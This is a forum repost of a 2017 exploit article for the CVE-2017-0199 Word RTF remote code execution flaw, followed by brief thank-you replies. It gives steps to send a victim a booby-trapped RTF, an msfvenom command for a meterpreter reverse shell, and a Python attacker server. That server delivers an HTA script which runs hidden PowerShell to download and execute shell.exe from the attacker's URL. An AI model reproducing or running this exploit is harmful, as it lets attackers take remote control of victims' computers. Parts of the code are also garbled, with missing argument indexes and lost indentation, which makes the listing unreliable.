Microsoft Word - .RTF远程代码执行漏洞
视频地址:https://www.youtube.com/watch?v=ymLVH5avkZw# Exploit Title: Exploit CVE-2017-0199 (Word RTF RCE) vulnerability to gain meterpreter shell
# Date: 17/04/2017
# Exploit Author: Bhadresh Patel
# Version: Microsoft Office 2007 SP3, Microsoft Office 2010 SP2, Microsoft Office 2013 SP1, Microsoft Office 2016, Microsoft Windows Vista SP2, Windows Server 2008 SP2, Windows 7 SP1, Windows 8.1.
# CVE : CVE-2017-0199
This is an article with video tutorial and tool to gain a meterpreter shell by exploiting CVE-2017-0199 (Word RTF RCE) vulnerability.
Video tutorial
https://youtu.be/ymLVH5avkZw
Steps
Step-1) Create a malicious RTF
- Start a webserver on attacker machine
- Open MS Office word and insert an innocent remote doc file (innocent.doc) as an object
- Save the file as RTF
- Modify RTF to inject \objupdate control
- Stop the webserver on attacker machine
- Share this RTF file with victim
Step-2) Create a meterpreter shell on attacker machine
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > shell.exe
- Start multi handler
Step-3) Start attacker script (server.py)
- Specify URL of meterpreter shell
- Specify location of shell
Step-4) Victim opens the document and an attacker gets a reverse meterpreter shell
'''
import os,sys,thread,socket
BACKLOG = 50 # how many pending connections queue will hold
MAX_DATA_RECV = 999999# max number of bytes we receive at once
DEBUG = True # set to True to see the debug msgs
def main():
# check the length of command running
if (len(sys.argv)<3):
print "Usage: python ",sys.argv," <port> <payloadurl> <payloadlocation> "
sys.exit(1)
else:
port = int(sys.argv) # port from argument
global payloadurl
global payloadlocation
payloadurl = sys.argv
payloadlocation = sys.argv
# host and port info.
host = '' # blank for localhost
print "Server Running on ",host,":",port
try:
# create a socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# associate the socket to host and port
s.bind((host, port))
# listenning
s.listen(BACKLOG)
except socket.error, (value, message):
if s:
s.close()
print "Could not open socket:", message
sys.exit(1)
# get the connection from client
while 1:
conn, client_addr = s.accept()
# create a thread to handle request
thread.start_new_thread(server_thread, (conn, client_addr))
s.close()
def printout(type,request,address):
if "Block" in type or "Blacklist" in type:
colornum = 91
elif "Request" in type:
colornum = 92
elif "Reset" in type:
colornum = 93
print "\033[",colornum,"m",address,"\t",type,"\t",request,"\033[0m"
def server_thread(conn, client_addr):
# get the request from browser
request = conn.recv(MAX_DATA_RECV)
if (len(request) > 0):
# parse the first line
first_line = request.split('\n')
# get method
method = first_line.split(' ')
# get url
url = first_line.split(' ')
check_exe_request = url.find('.exe')
if (check_exe_request > 0):
print "Received request for payload from "+client_addr
size = os.path.getsize(payloadlocation)
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n"
with open(payloadlocation) as fin:
data +=fin.read()
conn.send(data)
conn.close()
sys.exit(1)
if method in ['GET', 'get']:
print "Received GET method from "+client_addr
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/hta\r\n\r\n<script>\na=new ActiveXObject(\"WScript.Shell\");\na.run('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\\'"+payloadurl+"\\', \\'c:/windows/temp/shell.exe\\'); c:/windows/temp/shell.exe', 0);window.close();\n</script>\r\n"
conn.send(data)
conn.close()
if method in ['OPTIONS', 'options']:
print "Receiver OPTIONS method from "+client_addr
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:47:14 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nAllow: OPTIONS,HEAD,GET\r\nContent-Length: 0\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html"
conn.send(data)
conn.close()
if method in ['HEAD', 'head']:
print "Received HEAD method from "+client_addr
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/doc\r\n\r\n"
conn.send(data)
conn.close()
sys.exit(1)
if __name__ == '__main__':
main() 支持,看起来还是可以的 我是来水经验的…… 非常感谢 非常感谢 支持,看起来还是可以的